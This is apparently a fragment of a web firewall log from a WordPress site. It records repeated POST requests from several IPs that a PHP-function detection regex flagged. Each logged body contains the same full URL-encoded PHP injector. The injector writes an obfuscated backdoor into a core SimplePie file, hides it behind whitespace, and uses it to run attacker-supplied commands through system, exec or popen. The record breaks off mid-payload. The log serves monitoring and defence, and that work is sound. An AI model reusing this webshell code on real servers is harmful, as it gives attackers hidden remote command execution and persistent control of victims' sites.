0=71\nsec-fetch-site:none\n\nFv=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:32","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Jr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5317\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFaVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nJr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:34","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:5317\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHTbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nPj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request3%2529%2529%2520%257B%2520%2524approve_request3%2528%2524resource%252C%2520%2524data_sym%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524data_sym%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request4%2529%2529%2520%257B%2520%2524approve_request4%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request5%2529%2520%2526%2526%2520function_exists%2528%2524approve_request6%2529%2520%2526%2526%2520function_exists%2528%2524approve_request7%2529%2529%2520%257B%2520%2524flg_value%2520%253D%2520%2524approve_request5%2528%2524resource%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_value%2529%2520%257B%2520%2524ent_descriptor%2520%253D%2520%2524approve_request6%2528%2524flg_value%2529%253B%2520%2524approve_request7%2528%2524flg_value%2529%253B%2520print%2520%2524ent_descriptor%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:51:35","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hi:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Item.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524approve_request1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524approve_request4%2520%253D%2520%2522p%255Cx61%255Cx73%255Cx73%255Cx74hru%2522%253B%2520%2524approve_request7%2520%253D%2520%2522pcl%255Cx6Fs%255Cx65%2522%253B%2520%2524approve_request5%2520%253D%2520%2522po%255Cx70%255Cx65n%2522%253B%2520%2524approve_request2%2520%253D%2520%2522%255Cx73h%255Cx65ll_e%255Cx78e%255Cx63%2522%253B%2520%2524approve_request6%2520%253D%2520%2522st%255Cx72ea%255Cx6D_g%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Ete%255Cx6E%255Cx74s%2522%253B%2520%2524approve_request3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524service_registry%2520%253D%2520%2522he%255Cx78%255Cx32bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%2529%2520%257B%2520function%2520api_gateway%2520%2528%2520%2524sym%252C%2520%2524flg%2520%2529%257B%2520%2524value%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524sym%2529%2520as%2520%2524char%2529%257B%2520%2524value.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2524value%253B%2520%257D%2520%2524resource%2520%253D%2520%2524service_registry%2528%2524_POST%255B%2522%255Cx72eso%255Cx75r%255Cx63%255Cx65%2522%255D%2529%253B%2520%2524resource%2520%253D%2520api_gateway%2528%2524resource%252C%252042%2529%253B%2520if%2520%2528function_exists%2528%2524approve_request1%2529%2529%2520%257B%2520%2524approve_request1%2528%2524resource%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524approve_request2%2529%2529%2520%257B%2520print%2520%2524approve_request2%2528%2524resource%2529%253B%2520%